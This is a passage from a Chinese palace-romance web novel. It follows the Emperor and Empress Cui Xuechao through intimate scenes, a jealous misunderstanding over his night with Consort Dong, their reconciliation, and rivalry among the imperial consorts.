崔雪朝端起茶盏抿了几口,放下时,因他突然而来的种种心绪平复下来,“陛下吃过了吗?” 袁望:“你呢?” “吃过。” 袁望:“吃的什么?” 她一一说了,眉峰扬起点不易察觉的弧:“天热,陛下走一路口干了吧?小厨房的冰酪玫团很爽口,臣妾让人送些来?” 袁望眼底泛起笑意,“你既然说了,我就尝尝吧。” 冰酪玫团,水晶般的面皮,馅儿是莲碎、蒸熟的粟米和捣成泥的嫣红玫瑰花瓣,蒸上须臾,起锅放凉沾着蜜汁一块吃。 爽口在于蜜汁是冰上沁过的。 主子要吃冰酪玫团,不能只上这一道。 小几上摆了七八样精致的菜,袁望吩咐宫人下去,伸筷慢悠悠吃起来。菜蔬还是那些,他在通政殿吃着像是应付差事,盘腿和妻子对坐一块,突然觉得舌头才活。 原来芹是微酸的,炙肉是咸辣的,豆腐炖得入味能尝出鸡汤的底。 至于皇后力荐的玫团,他最先尝了,说滋味不错,“不过这东西你们女儿家喜欢吃。” “不好辜负小厨房的手艺呢。” 皇后闻言,举箸夹了玫团送入口中,袁望就见她鬓边的步摇叮叮几声悦耳的响声,笑了下,“有劳你陪我多用。” 饭罢,在宽敞的堂内晃荡几圈,权当做消食。 “汉王年幼,若有不懂事的地方,该教训则教训,不必太过宽容。” 崔雪朝点头,“今日汉王说他卯时便要起身读书认字了,会不会太早了?” “卯时不算早,我也是卯时起身预备上朝。” 当爹的负手在后,很不满皇后对儿子的偏爱:“我小时候要是卯时才起身,祖父的策鞭早就抽得满背血条子了!” 再说他对汉王所知甚深。 说是卯时起身,实则五岁的孩子功课能有多重,请去的师傅每日只给他布置描一百个大字,描完就跟读三字经之类的开蒙读物。 三字经有何难?晃着脑袋就背会了。教书老师对皇子宽宥,不似民间那般严痹,汉王多的是在课堂上打盹的时辰。 “你这样对孩子并不好。” 乾元帝很忧心忡忡,“孩子该从小就严教,这样才能成才。” 叹口气,无奈地望眼注定是慈母的皇后:“等咱们有了孩子,读书的事情还是听我的吧。” 说到孩子 “是该安寝了。” 崔雪朝愣愣地看着他朝自己走来,眼前一黑,被严严实实地抱起,看方向是朝着后边的浴池去,“这才什么时辰?” “你也觉得时辰太晚了?” 情势眼看失控,崔雪朝挣扎几下,“不行!” “怎么不行?” 袁望很坚持,“行的很,昨晚咱们就很行。” 怎么经他一说,什么话都泛着不正经的歪气。 “我要先更衣!” 女子做那档子事很有节奏的,更衣通发沐浴,要用玫瑰皂好好搓过,擦拭之后身上每一寸肌肤都要抹一层膏脂,宫人会用特定的手法揉到皮肤吸收,最后像个香喷喷的糕点端上食案。 “我身上有汗味。” 拦不住他动念的步伐,只好暴露几分自己的短处。 哪知他来者不拒:“我身上也有汗。咱们谁都不要嫌弃谁。” 他的汗味是真切的。 崔雪朝无法昧着良心说他的汗味是什么真龙气,是什么雄武男人的气概。 男人的汗味除了臭,时间一长,还会发酸。 庆幸的是,他只有淡淡的汗气,没能发酵。 有些恼,还欲再说,帘子撩起落下,周遭一片温热潮湿,浴池早就备好香汤。 到这地步,来都来了,还能如何? “衣裳我自己脱。” 最后的余地没法退让。 袁望说好,也不让宫人来伸手,利落解下腰带环佩。 身后衣料窸窣不停,他脱便脱,偏发出些动静来吵她心慌,刚去外衫,正犹豫是先脱鞋袜还是中单,腰上袭来一只臂膀,滚热的唇迫不及待地咬开她肩头的兜线,落下一连串啄吻。 “我还没脱完呢。”她嗔怪。 “你磨磨蹭蹭,是存心吊着我。” 惯会倒打一耙的男人已经图穷匕见,浴池通风的轩窗还有缝隙,她怕廊下守着的宫人听到动静,努力忽视身后人的呼吸,伸长手臂去关。 “还说你不是存心勾着我。” 崔雪朝回头,顺着他视线落点,自己为关窗而弯下的腰与滚圆翘起的臀,姿态妖娆,“我不是” “好人儿,我都依着你。” 一开始看不到,伏到圈椅把手上,只想着快些快些。 没一会儿发现圈椅让她握着配合着后边的动静,发出嗯吱嗯吱的响声,声响吓住了她,惊得不敢呼吸。 再后来面对面,架在浴池温热的砖台面,池水一波波的涟漪,身前人苦干良久,眼底幽深。 鸣金过后,崔雪朝被他抱在怀里,迷蒙间发觉身下凉感袭来,眼缝里瞅见一只手掌按在自己膝头,只见身影不见其首。 “嗯?” 疑惑地抻起脖颈。 “有些发红,我帮你上药。” 话落,那贼首终于露面,观其神色吃得很餍足,笑起来像个偷着进了鸡窝的狡诈狐狸。 睡吧,睡吧。 睡着了,就什么都不知道了 如此催眠,倦人梦乡。 翌日起身,一偏头,罪魁祸首竟心安理得还在。 抬手捏住他的鼻孔,没多久看见他眼皮下滚珠似动了,却不睁眼,长臂一揽,崔雪朝低呼过发觉自己被他仰躺着抱到身上,面贴面。 “又想了?” 谁想了! 气极了,狠狠咬上他肩头,他肉真硬,只留下两排不轻不重的牙痕。 不像惩罚,像奖励。 只好不解气地捶他胸口一拳,“陛下太过分了。” 抱着背对着都行,但趁她睡着偷摸看光还填塞药膏,罪行昭昭! 大早上皇后就这么生龙活虎,实在是妙! 可惜昨夜自己尽兴,皇后负伤,暂不可两军相会。 但讨些军粮,亦是情理之中。 环着皇后细腰坐起,一边揉着她发凉的小腿,怪自己昨夜睡太沉没给她及时盖被,口中心疼不已:“牙疼了吧?” “我给你好好瞧瞧。” 牙是怎么个瞧法? 堵着皇后嫣红的唇,一颗颗舔舐留恋不舍,“检查过了,一切无碍,娘娘最爱吃的肉脯干还能嚼动。” 皇后捂着嘴落荒而逃。 袁望内心熨帖,穿衣往中堂一坐。 内厢万姑姑伺候皇后娘娘梳妆穿戴好,“今日嫔妃拜会,千熙宫那位怕是不高兴。” 崔雪朝瞧着铜花镜里人红润的颊容,只说她心里有数。 阿屏等在门口,说陛下在中堂等着娘娘。 后宫拜会,百花皆在,身为这些女子的君与夫,自然要在。 晨起夫妻之间的狎昵美好褪下,崔雪朝操起稳重的气质,进到中堂吩咐传膳。 辰时,坤宁宫门大开 乾元帝的目光自皇后耳垂上硕大璀璨的耳珰上掠过,神情肃穆望向庭中鱼贯而入的妃嫔,心里想的是皇后最喜爱的颜色应该是翠绿,昨日让人送来的十二色耳珰,皇后选的是翠绿猫眼石。 翠绿他斟酌起来,皇帝素冠用翠绿的宝石,会不会有些不太合适? “皇上万安,皇后娘娘坤安。” “起吧。” 乾元帝抽空说道。 “不必站着,都坐吧。” 见陛下寡言,崔雪朝只好温声让诸位妃嫔坐下。 今日拜会,并非常例,且是与皇帝的第一次见面,各宫打扮得格外耀眼夺目。 当然其中最让人瞩目的自然是坐于众妃最前的安妃娘娘。 衣饰珠翠不必言表,让人错不开眼的是她高髻左右斜插的两大朵粉蕊芙蕖,一朵足有人脸盘子那么大! 崔雪朝忍不住多看了几眼,注意到身侧的陛下同样被吸引去目光,似乎很觉有趣,“你这花倒挺会选。” 乾元帝似笑非笑,御花园莲塘最稀罕的玉冠鲜种,他前儿路过看,因盛开得不旺,打算过几天带皇后同赏。 赏是赏了,却赏在别人头上。 十分惋惜:“皇后觉得好看吗?” 崔雪朝不知他为何要问自己,端庄一笑:“安妃戴着很美。” 安妃妙目立时灿烂,娇羞地垂下玉容,“多谢陛下、皇后娘娘夸奖,妾只是随意配着玩儿的。”不想效果如此奏效,竟能惹得陛下催皇后给自己脸面。 荷花只是面上,实则是当着满宫人面,让皇后娘娘亲口赞她,也是对昨日皇后娘娘霸占陛下的行径的退让。 “通政殿还有事儿,朕先走了。” 已经为皇后撑过场面,乾元帝起身,路过安妃跟前,瞧见荷花外瓣儿稍显枯干,越发觉得惋惜,看来是该让御花园的领事内监对园中一景一物好好看管起来! 堂中所有人都因陛下在安妃身前的停顿而各位想法。 赵嫔酸里酸气:“安妃娘娘心思真多,今日拜会是与皇后娘娘进礼,你把自己打扮成这样,也太不敬着娘娘了。” 安妃:“正是心中尊敬,才愈发要在衣物首饰上隆重些。要按赵嫔妹妹的意思,难不成咱们穿寝衣就成?” 赵嫔一噎,“自然不是。” 看上座的皇后娘娘,并不因陛下对安妃青眼而变色,姿容不出错,又连着两日服侍陛下,整个人白里透红水灵得哪能看出她今岁都二十四了! 董贵人这时架桥梁:“好了,都是姐妹,不必动气。” 安妃和赵嫔顺势不语,至于其他几个位份低的,很有眼色地不在这场合参与站队。 既是拜会,崔雪朝问了诸位妃嫔在宫中可还住得习惯,若有不便之处,可由内廷司照制改进。 旁人都说好,唯安妃脸色为难,“千熙宫原来是前朝某位妃子的居所,只是那妃子去得古怪,传闻渗人得慌。才过去两天,嫔妾夜里做了好几轮噩梦,实在烦扰。” “宫中自有陛下龙气威震,前朝的歪风邪气早就烟消云散,怪道乱神的话不可胡说!” 安妃攥着手绢,呜呜噫噫地垂泣。 “安妃想如何?” 安妃:“不若给嫔妾换个宫室?” “你看中何处了?” “嫔妾觉得万寿宫就很好。” 赵嫔冷嗤:“万寿宫距离陛下的通政殿最近,安妃姐姐每日跨出门就能瞧见通政殿的高檐,自然觉得极好。” 崔雪朝说才进宫,万事须得请过陛下的意思。 打发人去问,片刻后得了消息,说陛下准安妃娘娘迁居万寿宫。 安妃连连谢恩。 赵嫔气得手绢差点拧烂。 董贵人恭喜安妃得了好住处,扭头又去安抚赵嫔。 哄哄闹闹的一个早晨,总算结束。 一想到将来每天都要见这些人,崔雪朝就觉得头大,然而身在其位不能不谋其事。 一个迁宫又是好些人员调动。 底下人回禀,说千熙宫搬家声势浩大,竟把正殿寝居的一大面墙给凿了连根搬走,“皇后娘娘,安妃娘娘说那墙是她娘家花钱弄得椒墙,属嫁妆,不搬走不合规矩。” 阿屏:“管它椒房还是砖房,搬走就是。” 万姑姑道:“关键是她搬走了,不给回填,难不成千熙宫往后就荒成冷宫?” “用万寿宫凿下来的去补。” “多出来的工钱统算后,让安妃自己出。” 于是千熙宫的墙成了好由头,三天两头安妃领着内廷司负责工事的管事去通政殿求教陛下。 “五回里头陛下有一回肯见她都少,即便见了,前后一盏茶的功夫就打发走了。” 万姑姑给皇后娘娘奉过茶水,“这些日子陛下虽不曾留宿,但日日与娘娘一块吃暮食,陛下的心还是偏重坤宁宫的。” 阿屏这时过来,“昨儿陛下把汗巾子落下了。小人洗过,不然娘娘送去通政殿?” 安妃殷勤去那儿,难道她也巴巴地凑上去献好? 身为皇后自该矜持。 “等今晚陛下来,让童公公带回去就行。” 不经意地瞥了下,喊住阿屏,“这个纹线有些脱了。” 阿屏凑近看了又看,只是龙纹爪上勾了一点,不仔细看根本发现不了,“我洗的时候没用劲儿呀。” “没事,就爪尖儿上脱了一点,平针压两回就能补好。” 左右无事,穿针引线,对着黄昏璀璨的霞光慢慢补好,抖擞开,龙形虬张,狰狞之下却透着几分奋发的可爱。 正要递给阿屏让她好生收好,李内监低眉臊眼地行到门口:“娘娘,彤书局的内监传了嫔御。” 崔雪朝一怔。 阿屏问:“是不是传了万寿宫那个?” 李内监摇头说不是,“是春露台的董贵人。” 阿屏追问:“那今晚陛下还来陪娘娘一块用膳吗?” 李内监讷着眼,“没见童大监那头派人来。” 想来陛下是要跟董贵人一道用晚膳。 阿屏丧气:“这才多久,陛下就不喜欢娘娘了吗?” 万姑姑一听忙扯她袖子,“别瞎说。” 阿屏忙回头,皇后娘娘还坐在门边的圈椅里,高几上的针线箩筐还没收起来呢。 “娘娘,您是皇后,旁人再如何都越不过您的尊贵去。” 万姑姑道。 崔雪朝扯起唇角,示意众人不必大惊小怪。 “陛下不去,身为中宫,我也该劝着陛下早日御幸各宫妃嫔。雨露均沾,才是对前朝后宫都好的事情。” 话既如此,再看手里缝补好的东西,心头闷闷的。 “闻着有些土腥气,怕是今夜有雨,早些让宫人们把门关了吧。” 万姑姑应是. 与锦职司的人议过京西铁矿一案,天已浓黑。 先前还轰隆隆震过几声雷,这会儿垂垂雨幕,坐在御辇上,乾元帝眼眸自万寿宫的方向收回。 春露台略远,到时已快卯时。 进屋换过衣衫,一扭头,董贵人穿着单薄地等着自己。 乾元帝挥退下人,等屋内只剩他们两人,他往窗下宽榻上一坐,示意董贵人披件衣裳:“你还记得朕吗?” 身为妃嫔穿得少主要是为了伺候陛下,但身为女子,她心里觉得这行径跟勾栏的人有何区别,真叫她难堪。 董贵人抖索着裹好自己,老实本分地坐在距离宽榻最远的秀墩上:“嫔妾记得陛下。” 说完见陛下不开口,只好继续:“那时嫔妾不懂事,偷摸从家里跑到军营,要仿花木兰和哥哥一起为陛下效忠。” 乾元帝:“之后呢?” 董贵人很惭愧:“之后我跟着押军粮,结果被山匪捉去。要不是陛下恰巧带兵路过,我大约早就死了。陛下对我有救命之恩。” 董贵人说:“嫔妾在宫里一定老实本分地伺候您。” 脑子转了转,“陛下子嗣不多,嫔妾定会竭尽所能生孩子,生最多的孩子,好报答陛下的恩情。” “” 大恩大德,无以为报,所以只好恩将仇报了吗? 乾元帝说不必,“朕的孩子,自有皇后生,你只需老老实实当你的贵人就行。” “你哥哥随着朕出征胡部,战死在庆城,是为国捐躯,朕封他为忠武将军。可惜他没留下一儿半女,你是他在世上唯一的亲人。你叔伯婶娘待你一般,朕本可以为你指婚,但选你入宫,是对旧军将士最好的安慰。你可懂?” 董贵人想想,一根筋的姑娘不会委婉:“陛下不妨说得再明白些。” 乾元帝只好再直白:“朕是你的救命恩人,皇后是朕的救命恩人,你对朕之心便如朕对皇后之心,朕不忍让皇后难过,有你在,朕与皇后便能平安相守。” 董贵人似乎懂了他对皇后的爱,眼神晶亮地点点头。 一夜无事,前朝有大朝会。 董贵人送走陛下,遵照旧例去坤宁宫给皇后请安。 忽视安妃嫉恨的眼神和泛酸的话语,等众人离去,董贵人单独留下跟皇后娘娘说悄悄话。 “娘娘放心,我不会与娘娘争宠的。” 董贵人想了一夜,陛下把皇后搁在心尖,那她就把皇后娘娘搁在心尖。 “只是宫里人少,空了,我能找娘娘一块玩吗?” 崔雪朝客气地说自然可以,一等人欢喜地走了,阿屏气咻咻的:“董贵人什么意思,是在跟娘娘表忠心吗?” 万姑姑看着皇后眼底的青团,不得不问:“娘娘,要赐董贵人坐胎汤吗?” 崔雪朝点头。 不为陛下恩宠,为了自己的子嗣,这宫里暂时还不能再有庶出的皇子了。 第36章 朕像个垃圾 一声声, 一更更,空阶滴到明。 难眠少睡,起身时没什么气力。 但不能在众妃嫔面前露怯, 抹了厚厚的一层玉容粉遮住眼底的青, 四平八稳地坐在中堂。 她是皇后,一夫一妻在民间都少有, 更何况是皇家。 切记切记,然而董贵人的几句话,轻而易举地击碎了她的伪装。 坐胎药送了,万姑姑回禀董贵人痛痛快快喝了。 崔雪朝却并未生出她以为的解脱, 相反, 凝于心间的厌恶更重一重。厌恶自己成了这样的人, 却必须如此。 “娘娘,童大监派人来传话, 说陛下午膳要来坤宁宫用。” 阿屏雀跃地蹦进来转达好消息。 “跟秦妈妈说照着惯例预备就行。” 崔雪朝没什么胃口,翻点过后宫这些时日的各项开支, 又看起皇子所送来汉王的功课。 五岁孩子稚嫩的字迹看不出什么, 教书老师评语并无苛刻,唯一的缺点指出汉王殿下专注力不够, 性贪喜玩, 心思会被窗外枝头上的飞雀吸引去。 对此, 乾元帝的处置是,既然喜欢看鸟雀,那就让汉王看个够。 一连好几日命汉王从晨起就站在树下看鸟,看到晚上困了,回屋睡觉,睡觉床头挂满鸟笼子。等再睁眼, 继续站在树下头看。 汉王殿下第二日便说自己对鸟雀不感兴趣了。 崔雪朝:“” 袁家教导子女的方式竟如此简单粗暴? 那日跟在汉王殿下贴身伺候的宫人已经查明身份,是从前伺候汉王生母的,再后来一直跟在汉王身边,直到入宫。 可以视之为杨家派给汉王的心腹。 有此等人在,崔雪朝对汉王的原则很简单,彼此相安无事各自在宫中过日子,除非有大事发生,旁的她只当不知晓。 汉王功课放在一旁,小厨房报上今日午膳的菜单子。 她随意扫了几眼说尚可,便搁在一旁。 阿屏笑呵呵地把寝居床褥换了喜庆的颜色,见娘娘身上还穿着晨间见妃嫔的藏青衫,建议道:“昨儿黛芬绣好的渚色坦裙已经熏好,娘娘要换吗?” 崔雪朝摇头,“不用张罗。” 她并不积极,万姑姑看在眼中急在心里,陛下昨夜御嫔,今日便来见皇后娘娘,未尝不是在给坤宁宫脸面。 若陛下进来,娘娘这副心态,陛下一时不得发作,心底难免会生出怨怼。 才大婚的帝后若是起了龃龉,往后如何襄治和睦? “娘娘,昨儿您亲手补好的巾子熨好了。” 崔雪朝看着托盘上的物什,眼底无波无澜,“不必送到御前,阿屏,得空烧了吧,若御前的人来问,只说东西不小心撕坏了。” 万姑姑没了法子,娘娘狠心起来不肯再施情予爱,当下人的总不好强逼着主子行事吧? 那精细照料过的汗巾子突然成了棘手之物,毕竟绣着龙纹撕毁了不像话,交付给宫人尽快烧焚。 宫人说嗳,抱着大铁盆往墙根下一躲呼啦开始烧起来。 午时将至,隔着宫墙听到外边甬道上传来御鞭清道的响声,崔雪朝起身,站在门外挂起端庄贤淑的笑容。 迈进宫门的乾元帝一眼瞧见最里边心心念念的人,脚步快了几分,过二道门闻到刺鼻味,眼风扫去,见是个火盆烧,本没放在心上。 倒是童公公眼尖,咿了声,“那不是陛下的汗巾子嘛?” 乾元帝这才定睛去看。 这一眼,脚步顿住,“怎么把朕的东西烧了?” 宫人瑟瑟不语,万姑姑忙道:“那东西本是陛下前儿落下的,娘娘瞧着纹样开了,亲手缝补过。本来打算今日送还御前,哪曾想底下人熨平时不小心烫坏了” “烧就烧了吧。” 乾元帝很擅捕捉关键,‘皇后亲手缝补’已经足矣,“这个坏了,劳烦皇后再替朕缝一个吧。” 崔雪朝笑着说好,进至屋中,给帕子擦拭头脸,待舒爽了两人一左一右坐定。 “晌午吃什么?” 崔雪朝把小几上的菜单子推过去,“陛下您看有没有要填补的?” 袁望看过,“再添一道素烩四宝吧。”这道菜她爱吃。 崔雪朝说好,吩咐过万姑姑,又奉上茶汤,而后提起宫中开支上的几件不紧要的小事。 闲事议完,午膳也预备好了。 气氛温和地吃着,依旧是不必宫人布菜,有来有往地互相添着。 袁望眼神柔和,实则心里有些焦急,按捺住焦急吃过午膳,待两人挪至厅间榻桌,终于能说贴心话:“昨晚我去了春露台” 话没说完,崔雪朝作出善解人意的笑容,一边抚抚鬓发,边道:“董贵人温柔可爱,尚在锦绣宫时臣妾便与她说过话。今日请安后,臣妾已赏她坐胎的补身汤水了。” 听吧,她也能演得很真切,当端庄稳重的中宫和正妻,并非难事。 袁望一怔,“什么坐胎汤?” 崔雪朝便说这是内宫旧例,若嫔妃承恩,中宫必得赏些汤水留住皇帝精华,后妃易孕为皇家绵延子嗣。 只是坐胎还是杀伐,取决于皇后娘娘的心意。 在这方面,崔雪朝很冷静,男人靠不住,她要为自己的孩子铺路。但真话不必当面告知于他,总有下人会回禀上去。 陛下再想要子嗣,也须得顾及中宫,这点脸面想来陛下也能给她。 袁望坦陈真相的心顿住,愣怔地看着对面皇后秀美的脸蛋,“你赏了她坐胎汤?” “你怎么能赏她坐胎汤呢?” “你为什么能赏她那东西?” 他撑着桌角扑腾站起身,自上而下委屈又难过地瞪着她:“我跟她”停住,又问:“不是,你就一点都不生气?” 生气? 崔雪朝淡淡一笑:“安妃才是这满宫最生气的人吧。” 她对他的跳脚只做不见:“安妃乃众妃嫔之首,照理该在昏仪第二日就幸御,陛下空置了她许久,今夜便去万寿宫吧?” “皇后真是大度!” 袁望气极反笑,想说她把自己当什么?没有感情的撒种工具人吗? “想让我去别的女人那儿,你做梦!” 很有怒发冲冠的火气,一甩袖子直奔门口,过二道门时童公公瞧着不对,急忙从墙根处小跑到跟前。 “摆驾回通政殿!” 童公公说是,回头跟站在门上的万姑姑打眼色,到了宫门外把手里的东西抖了抖,成功吸引陛下目光看过来,才道:“陛下您瞧这龙爪子上的针线,这是皇后娘娘亲手缝的!” 那汗巾子烧得烂呼呼的,难为童公公能从一团黑渍里头翻出指甲盖的一点痕迹,“昨儿后晌娘娘补好的。” 乾元帝恨恨地抢到手里,盯着那点针线,又想起方才她竟然推自己去旁的宫廷,气得狠狠攥到手心,一回头挥拳砸在了坤宁宫大门上! “哎呦,陛下您的手还好吗?!” 恁厚实的门,得多实心眼才能生捶上去! 见有血珠子往下滴,忙朝里喊人,不一会儿坤宁宫万姑姑端着方盘奔出来,金疮药纱布满当当的,就是不见皇后娘娘现身。 “回陛下,娘娘说您也太不小心了,还是传御医来瞧瞧吧。” 乾元帝冷着脸:“朕去哪儿瞧?难不成就站在门口让宫女太监们看笑话嘛!” 可他不肯抬起尊贵的腿,里头皇后娘娘不肯出来请人进去,为难的是两边伺候的,齐刷刷地跪了好大一圈。 这么大日头,生晒着,乾元帝觉得自己跟手里这一团乌漆嘛黑的汗巾子一样,是个被丢弃不要的垃圾。 万姑姑心惊胆战地往前进了几步:“回陛下,娘娘昨夜睡得不好,小人夜里似乎听见寝居内有哭声。” 乾元帝怒且伤的情绪像被一阵惊天海浪噗嗤浇灭了:“她真的哭了?” 万姑姑心说眼里没哭,但心里肯定哭过。 “犹如廊下雨珠。” 怪不得昨夜那雨淅淅沥沥下个没完,原是皇后太伤心,天不忍了! 再看手里的汗巾,乾元帝觉得自己真无理取闹。 怪道先前吃饭看她总古怪地笑着,实则眼里很冷。 所以烧汗巾子也正常,不烧她心里肯定呕得难受。 又迈步回去,不叫人给她递话,隔窗看她慢吞吞地坐在书桌前写字,是那种写得很不上心的神情。 浑身摸了个遍,把腰间系着的蟠龙玉佩解下,轻敲窗棂吸引她看过来,再把玉佩递到案头,“给你赔罪。” 递东西也是讲究方式方法的,是那只捶了宫门破皮流血的手。 她冷淡疏离的眼果然看见了他的伤口,嘴唇嗫喏过,“不是让人送药了吗?陛下怎么不包扎?” 袁望撑在窗台,巴巴给她看伤势:“坤宁宫的宫门太硬了。” “好端端的,捶门做什么。” 她终于起身,那厢万姑姑已经把伤药裹布等送到屋中,素手擦了下,坐在最靠边的圈椅里,一点点往他手背上倒着药粉,侧颜如花,袁望低着声说:“我去春露台,你不高兴吗?” 她反问陛下高兴吗? “当然不高兴!” 他很斩钉截铁,“卯时去了,我卯时二刻就走了。” “你知道的,二刻绝对不够哎呦!” 骤然加重的力道让他呼痛,但唇边笑得开心:“你放心,从遇到你以后,我这个人从里到外,一根头发丝算在里头,全系在你身上。” 第37章 怪我脸皮太厚,打疼手了…… 是不是言行如一, 尚待时日研判。 眼下倒还乖觉。 伤势包扎好了,误会也解释清楚。 “什么董贵人西美人,普天之下, 皇后才是最可心的。” 袁望撑在窗台, 看屋内皇后姝颜静坐,很得意她这一日对自己的冷漠。 冷漠也是有门槛的。 得意起来, 不忍频频笑出声。 威严的君王生得高大,为站在窗台前跟皇后叙话,不得已扎起马步,长长的腿跟地面曲成口子, 庭院里的侍卫宫人内监齐齐垂眸, 绝不敢触及陛下此等不雅姿态。 也不知陛下同娘娘说了什么, 突然听到咚的一声闷响,童公公抬头一眼, 原是陛下不走正门,撑在窗台翻进屋中。 细细的窗隙隐约能瞧见陛下挤在皇后娘娘的圈椅上, 像个蒙头小子, 非要给娘娘研墨。 及至陛下挂着笑意从坤宁宫出来,已是春风拂面, 童公公眼尖, 瞧见陛下衣领随着走动, 嫣红的口脂色若隐若现。 能讨来女子柔软的亲吻,便是两人和好的证明。 如所料,当夜陛下从通政殿出来直奔坤宁宫。 能得皇后娘娘原谅真是好福气。 袁望行在寝居地上,被他抱在怀中的皇后娘娘如廊下雨打过的夏荷,靡艳淋淋,“去去床上” “才湿了, 躺着不舒坦。” 袁望将她往上颠了颠,“放心,我体力好着呢。” 距离上回还是十几天前,崔雪朝不堪重击,潦草负伤。 伤好以后,恰逢月事,一别至此,成熟的身躯彼此都很想念。 急躁叙过,从容悠哉地换个地方慢慢陈情,在妆台前,模糊的琉璃铜菱镜倒影成双,太过羞耻,几番想躲,却被身后人强势地掰回去看着,“今日我真高兴!” 他高兴了,便要换自己受累? “我我不高兴!” “你高兴!” 他笃定,狠狠给了一记,她被困在镜前羞耻地闭上眼睛,然而对他腹躯处钢筋铁骨的肌块触感,如鼓槌落点,山谷溪流汩汩响彻屋中,只得捂住嘴。 已经走到最远的宫人彼此不敢对视,个个听得心尖窜热。 阿屏也不再像之前那般以为是皇后娘娘的泣声源自陛下拳脚相加。万姑姑说了,男女之间做起来也会哭。 她心想,娘娘这依依绕绕的音儿,想来是做得很尽兴。 叮叮摇铃声起,已是卯末。 万姑姑算算长短,十分满意。 进屋时,娘娘已经被陛下抱着去了净室,隔着珠帘吩咐宫人更换干净舒适的床被,又停顿下,吩咐把地砖也擦拭一番。 话落,啪的一声清脆拍打,像是手掌甩在脸上的音儿,万姑姑心里惴惴,支起耳朵听见陛下低沉的笑声和赔罪。 挨了一巴掌的袁望顺势转脸在皇后温湿的手心亲了好几口,“打疼了吧?” “” 这人狎昵起来哪里有穿朝服时的正经人样,简直是个情场老手。 崔雪朝有气无力地闭眼泡着,等到被抱回床榻,本以为精神疲倦很快睡着,反而精神得很。 “你睡了吗?”她悄悄儿道。 “睡了。” “” 想伸手拧他,不在做那事儿时,属于皇后的体面很快折返,故而忍下。“那您歇着吧。” 紧贴在他胸前的后背传来一阵沉闷的笑声,“想同我说说话?” “嗯。” “那你转过来,我不想看着你后脑勺说话。” 崔雪朝哦了声,翻个身,面对面,能看清他看自己时眼底熠熠的光芒,太近了,好似生疏没了反而很轻柔,她盯得久了不自在地避开那视线。 “想聊什么?” 她想了想:“汉王和你长得很像。” “那我希望我们的孩子将来能长得像你些。” 袁望并不因自己是天子就认为自己相貌是全天下男人之首,“我父亲长相很扯,我的筋骨随了袁家血脉,我这张脸能被你瞧上,仰仗的全是我母亲的功劳!” 提及母亲时,他的语气骄傲至极。 “看脸又不能吃饱饭。” 她忍不住回护下他的妄自菲薄:“再说了,你自有你的独到之处。” “哦?” 怕他不信,崔雪朝提及往事:“我第一回 见你是在上林苑的首宴,虽然隔着人群看不真切,但印象很深,只一眼就觉得你是在场男人中最厉害的那个!” 原来那时她就对自己很心动了吗? 袁望心中纠纠,回忆起来,似乎那日他只瞧见她专注地埋头苦吃,为此自己还吩咐宫人多为她上了案菜。 倒是也抬起过头,“我怎么记得你看了安勇侯好几回呢?” 崔雪朝道:“能不看他吗?他射箭都射偏了!” 虽然那时她决定为安勇侯夫人之位而奋发,但时过境迁,不必言表。 “安勇侯是有些不像话。” 贬低别人就是抬高自己!袁望故作惋惜,实则心里乐开花。 沉默几息,崔雪朝不着痕迹地拉回话题,“汉王与他生母不像吗?” “不记得了。” 这是实话。 回忆起杨氏,一双常年死板的眼,走路像个吊线的偶人。 “那你跟她常见面吗?” 袁望眼神一凛,久待的交心时刻终于来到。 很想坐起来严阵以待地应对她的每个问题。 思忖了下,眼下彼此依偎躺着,比面对面像审犯人似的,对自己要有好处。 “不常见面。” 简短回过,又道:“你或许不知陇右杨家,他们奉行严苛儒道治业,家下规矩繁冗,光是记载册内的家法家规便有上万数。” “杨氏到河东时,只十六。” 十六岁正是青春活泼的年纪,但杨氏女却如木讷老僧,规训刻进她骨肉里,难以改张易弦。 “且我对她少情,明知她过得如一滩死水,并未放在心上。”这句话听起来像是他的愧疚之语。 “那她后来发生了什么?” “我不常在河东家中。下人回禀她故去的消息时,我人在大同,当时战局胶着,顾不得追问。后来才知,她生孩子时难产,因下红之症不治而亡。” “不治而亡?” “儒言女子身红乃不吉之兆,杨氏不叫人寻医诊治。” 崔雪朝怔了好久,“她怕因为自己的病对你战局不利吗?” “或许是,也或许是为了孩子。” 他无法辨明。 是位悲情的母亲。 他的描述有几分不忍,不是私情,而是对杨氏短暂人生的不忍。 方才被他搂在怀中,情事酣畅之际,亲眼见他痴迷,心下忍不住好奇,他过往对杨氏也是如此投入吗? 她介意了,不问或许会成为某种疙瘩拌在他们之间,因为他白日承诺只有她一人,给了她胆量去追问。 问过了,并不后悔。 她想要知道他对杨氏的评价。 如果全是不好的评价,指责杨氏是如何不堪的品性,崔雪朝想,她会失望,因为那般的男人许下承诺,可信度低得可怜。 “杨氏病故,有我身为丈夫失责过错。过往我只认为后宫是制衡朝堂的手段,现在明白这种想法是我身为男人的自负和傲慢。” “人的心只有一点大,认定了厮守终生就不会改,至少选你做皇后,一多半是出于私心。” “对心爱之人,就该赠她最好的!” 袁望揽下她肩头,“我会说到做到的。” 崔雪朝闷在胸前点点头,一片温情气氛下,又忍不住开口:“真的没跟董贵人睡觉吗?” “谁睡了,谁就天打雷劈!” “那董贵人会不会太委屈了?” 果然女儿家容易左右为难。 袁望幽幽道:“春露台有什么好委屈的?我清白之身白饶给她,今上晌还赏了她好些绫罗绸缎,谁来可怜我的委屈?” 她悄默龇牙笑了笑,自他腋下抱住他后背抚了抚,“那个汗巾子坏了,明儿我再给你缝一个?” “就一个?” “十个!缝它十个!赤橙红绿蓝、靛紫白黑粉,一个色缝一个!” 袁望又觉得十个会不会太多:“就三个吧。” 嘴巴不老实地亲亲她凝脂的肩头:“其他的不必,只再添一个上回赫色的肚兜。你白,我喜欢看你穿那个。” 崔雪朝豪气地说好,“我做两个,一大一小,你一个我一个,公平不公平?” 穿肚兜会不会折损男儿雄伟,这点为难只在脑海中打个转儿就没了踪影。反正是闺房之乐,莫说穿肚兜讨她开心,就是捆着自己由她抽打,那也不是不可行! 有些事儿经不起挑逗。 怀里温香软玉,自然不好辜负。 黏在一块又来一回,结束时她搭起腿在他肩头,又是熟悉的姿势,这回他扬着眉头很得意:“你我果然般配,瞧,这回一点伤都没有!” “”. 翌日晨起静待诸妃请安 乾元帝也在 堂下安妃绞着手帕不甘地瞪眼皇后,斜眼身侧一身精美华丽的高腰襦裙的董贵人,起身道:“月底朝贡节,嫔妾想要献舞一曲,届时好叫外邦属民看看我大乾新风貌。” 乾元帝:“你想跳什么?” 安妃抿唇浅笑:“《十军阵》” 《十军阵》乃是北地舞,风格大开大合,与军鼓阵乐韵奏下起势,非寻常女舞娇柔,而是且壮阔且波澜的战舞。 乾元帝果然意动:“你既有心,便好好准备吧。” 